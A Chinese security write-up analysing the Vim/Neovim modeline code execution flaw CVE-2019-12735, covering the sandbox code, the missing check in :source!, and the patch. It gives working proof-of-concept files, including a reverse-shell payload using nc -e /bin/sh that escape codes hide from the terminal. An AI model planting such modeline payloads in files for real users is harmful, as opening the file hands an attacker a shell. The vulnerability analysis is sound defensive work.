Vim任意代码执行漏洞(CVE-2019-12735)-安全客

背景

近日，著名编辑器Vim/NeoVim爆出了任意代码执行漏洞，打开恶意文件即可触发，受影响的版本：

Vim < 8.1.1365， Neovim < 0.3.6

漏洞成因

漏洞产生于Vim的modeline功能中，使用modeline功能时，通常把一段配置代码放在文件的开头或结尾处，用于对此文件进行编辑器功能的配置，此配置会覆盖Vim的默认配置(通常在~/.vimrc中)。

modeline功能便于文件在共享时保持一致的编辑格式。例如，我们通常会在Python文件开头加上modeline来设置缩进：

# vim: ai ts=4 sts=4 et sw=4 ft=python
# vim: autoindent tabstop=4 shiftwidth=4 expandtab softtabstop=4 filetype=python

由于modeline中的命令运行于命令模式(在正常模式下按:进入)，而在命令模式下可以进行修改文件、执行脚本等敏感操作，这就产生了被恶意攻击的可能。

因此从安全角度考虑，在modeline中，只支持set命令，同时一些配置项会被隔离到沙箱(sandbox)中运行。

在沙箱中，修改文件、修改快捷键、执行shell脚本等操作都被禁止。

沙箱检查由函数check_secure实现，用HAVE_SANDBOX判断是否在沙箱中，是的话生成错误信息并返回TRUE。

// vim/src/ex_cmds.c
/*
 * Check if the secure flag is set (.exrc or .vimrc in current directory).
 * If so, give an error message and return TRUE.
 * Otherwise, return FALSE.
 */
    int
check_secure(void)
{
    if (secure)
    {
    secure = 2;
    emsg(_(e_curdir));
    return TRUE;
    }
#ifdef HAVE_SANDBOX
    /*
     * In the sandbox more things are not allowed, including the things
     * disallowed in secure mode.
     */
    if (sandbox != 0)
    {
    emsg(_(e_sandbox));
    return TRUE;
    }
#endif
    return FALSE;
}

check_secure函数在一些涉及敏感操作的地方被用到，例如在buf_write函数中的使用，禁止了在沙箱模式下写buf文件。

// vim/src/fileio.c
    int
buf_write(...)
{
    // ...
    /*
     * Disallow writing from .exrc and .vimrc in current directory for
     * security reasons.
     */
    if (check_secure())
      return FAIL;
    // ...
 }

然而在:source!命令中，并没有进行沙箱检查。:source!命令用于在命令模式下逐个运行目标文件中的命令，通常被用来加载配置文件。同时，在命令模式下有多种方式执行shell脚本。

前文提到，可以在modeline中设置的配置项是有限的，因此需要一个能让我们执行:source!的配置项。

配置项的限制是通过P_SECURE这个flag来判断的，foldexpr没有设置P_SECURE，符合要求。

// vim/src/option.c
// foldexpr 未设置P_SECURE
static struct vimoption options[] =
{
   // ...
    {"foldexpr",    "fde",  P_STRING|P_ALLOCED|P_VIM|P_VI_DEF|P_RWIN|P_MLE,
#if defined(FEAT_FOLDING) && defined(FEAT_EVAL)
                (char_u *)VAR_WIN, PV_FDE,
                {(char_u *)"0", (char_u *)NULL}
#else
                (char_u *)NULL, PV_NONE,
                {(char_u *)NULL, (char_u *)0L}
#endif
                SCTX_INIT}
// ...          
};
// ...
// 通过option的flag判断
if (flags & (P_SECURE | P_NO_ML))
{
    errmsg = _("E520: Not allowed in a modeline");
    goto skip;
}

因此，可以构造PoC如下：

:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source! %"):fdl=0:fdt="

保存成文件poc.txt，用Vim打开，命令uname -a将会被执行。

PoC分析

命令执行

# poc.txt
:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source! %"):fdl=0:fdt="

打开poc.txt时，Vim会在首行寻找modeline，从vi:处开始匹配，忽略前面的字符，解析出的modeline表达式为：

vi:fen:fdm=expr:fde=assert_fails("source! %"):fdl=0:fdt=

modeline中的配置项(option settings)通过:分隔，vi后面的每一项都会当做:set的参数在normal模式下被运行。

这里的一系列配置都是有关于代码折叠的，让我们逐个解析配置项:

fen: 当值为off时，所有的代码折叠都被打开，默认是off
fdm=expr: 产生折叠的方式，可能的值有manual, indent, expr, marker, syntax, diff。其中expr表示将由’foldexpr’的值来给出某一行的折叠level
fde=assert_fails("source! %"): fde是foldexpr的缩写，功能见上一条；source!命令前文已经提过，这里的%是指当前文件；assert_fails用于执行命令并处理错误信息，这里我们只用于执行命令。
fdl=0: 折叠的程度，设置为0时会关闭所有的折叠，默认是0
fdt: 被关闭的折叠处显示的字符串,默认是”foldtext()”

综合下来，这个modeline会让Vim执行:source! poc.txt，让我们来看会发生什么。

poc.txt中只有一行，相当于在Vim normal mode中运行这一行，:!xxx表示在shell中执行xxx命令。

所以，下面的命令会在shell中被执行：

uname -a||" vi:fen:fdm=expr:fde=assert_fails("source!\%"):fdl=0:fdt="

||表示只有在前一个命令执行失败后才会执行后一个命令，在这里uname -a会执行成功，||后面的字符串被忽略，所以PoC到这里就执行成功了。

反弹shell

漏洞作者给出了另一个PoC，可以反弹一个shell, 利用了转义字符使得恶意代码在终端不可见，还在PoC执行结束后重写了文件使得痕迹被彻底清除。

# 在另一终端窗口运行nc -vlp 9999
# shell.txt 
x1b[?7lx1bSNothing here.x1b:silent! w | call system('nohup nc 127.0.0.1 9999 -e /bin/sh &') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0: x16x1b[1Gx16x1b[KNothing here."x16x1b[D n

除去转义字符和重写文件部分，可以简化成如下所示：

# shell_simple.txt
:call system('nohup nc 127.0.0.1 9999 -e /bin/sh &')  ||" vi:fen:fdm=expr:fde=assert_fails("source! %"):fdl=0:fdt="

由前面的知识我们可以知道，此poc会在vim的normal模式下运行：

:call system('nohup nc 127.0.0.1 9999 -e /bin/sh &')

拆开分析：

call: 执行一个函数
system(): 执行shell命令
nohup nc 127.0.0.1 9999 -e /bin/sh &：反弹shell

可能遇到的问题

modeline功能开关

普通用户的modeline功能默认开启，而root用户是默认关闭的。
可以在命令模式下使用:echo &modeline查看开启情况，返回1就是开启、0就是关闭。modeline功能
需要打开，PoC才能成功运行，可以在~/.vimrc中加上一行set modeline确保开启此功能。

第二个反弹shell的PoC，复制粘贴到本地运行会失败

刚开始看到这两段exp的时候，我只成功复现了第一个，第二个失败了。研究后发现问题出现在转义字符上，这时候我看到PoC作者的repo里面带了第二段exp的源文件，于是我用wget下载了shell.txt，重新尝试，这次漏洞复现成功了！

用二进制查看工具Okteta打开shell.txt，可以看到转义字符x1b是非显示字符。转义字符常常用来控制终端显示、光标移动等，第二个PoC中就利用了转义字符隐藏代码的功能，有关转义字符的知识可以参考这个链接ansi-escape-codes。

hexedit shell.txt

$ cat shell.txt   # 部分输出在终端中被隐藏
Nothing here
$ cat -A shell.txt 
^[[?7l^[SNothing here.^[:silent! w | call system('nohup nc 127.0.0.1 9999 -e /bin/sh &') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails('set fde=x | source! %') fdl=0: ^V^[[1G^V^[[KNothing here."^V^[[D $

作者文章给出代码中的x1b是为了更清晰地表达，并不能直接复制使用。

所以如果我们想要修改第二段利用代码，比较简单的方式是是下载源文件，修改执行命令的部分，当然也可以使用二进制编辑器直接编写或修改。

修复

Vim发布了 patch 8.1.1365: source command doesn’t check for the sandbox

在openscript函数中增加了沙箱的检查，防止在沙箱中source文件。

patch_commit

patch_diff

/*
 * Open a new script file for the ":source!" command.
 */
    void
openscript(
  // ...
  // Disallow sourcing a file in the sandbox, the commands would be executed
  // later, possibly outside of the sandbox.
  if (check_secure())
    return;
  }
  // ...